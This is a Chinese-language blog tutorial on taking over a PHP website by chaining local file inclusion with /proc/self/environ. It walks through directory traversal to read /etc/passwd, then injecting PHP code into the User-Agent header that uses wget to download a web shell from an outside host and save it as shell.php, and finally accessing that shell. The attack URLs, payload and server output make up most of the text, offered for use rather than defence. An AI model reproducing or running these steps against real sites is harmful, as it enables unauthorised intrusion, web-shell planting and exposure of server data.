通过注入的恶意代码获取网站权限

一、查找本地漏洞  

找到一个可能存在本地包含的文件去check它。  
例如:     www.website.com/view.php?page=contact.php  
替换成   www.website.com/view.php?page=../  
我们得到一个错误  
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337  
翻译下以上的错误信息如下:  
警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/ home / sirgod / public_html / website.com /view.php  

说明机会很大,只是不存在文件而已  

那么我们就针对服务器存在的文件做检查,比如linux里的/etc/passwd  
提交url:www.website.com/view.php?page=../../etc/passwd  
依旧是:  
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337  
所以我们一层层的加上../测试,直到显示为止  
www.website.com/view.php?page=../../../../../etc/passwd  
这个时候我们成功的包含了/etc/passwd  
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin  

二、检查proc/self/environ是否可用访问  


提交url:www.website.com/view.php?page=../../../../../proc/self/environ  

如果看到类似如下信息:  

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=  
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80  
说明是可以访问的,如果返回时个空白页,说明是无法访问的,也可能操作系统是FreeBSD  

三、注入恶意代码  

我们可以注入我们的代码在用户代理HTTP头。  
使用篡改数据用于Firefox的插件改变Firefox的User-Agent.Start篡改数据和请求URL:  
      
      www.website.com/view.php?page=../../../../../proc/self/environ  
        
     选择User-Agent 写代码如下:  
      
    <?system(’wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>  
          
    然后提交请求。  
      
     我们的命令将被执行(将下载http://hack-bay.com/Shells/gny.txt,并将其保存为它在shell.php  
网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.  

第四步:访问我们的shell  
在存在包含文件的目录下访问你注入进去的shell即可  

www.website.com/shell.php  

现在我们的shell是成功的注入进去了  

看到这里想不想知道咋回事那?其原理是利用/proc/self/environ目录遍历及远程执行代码的漏洞,哈哈!!提示下google搜索"Directory Traversal & Remote Code Execution Using /proc/self/environ"吧

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值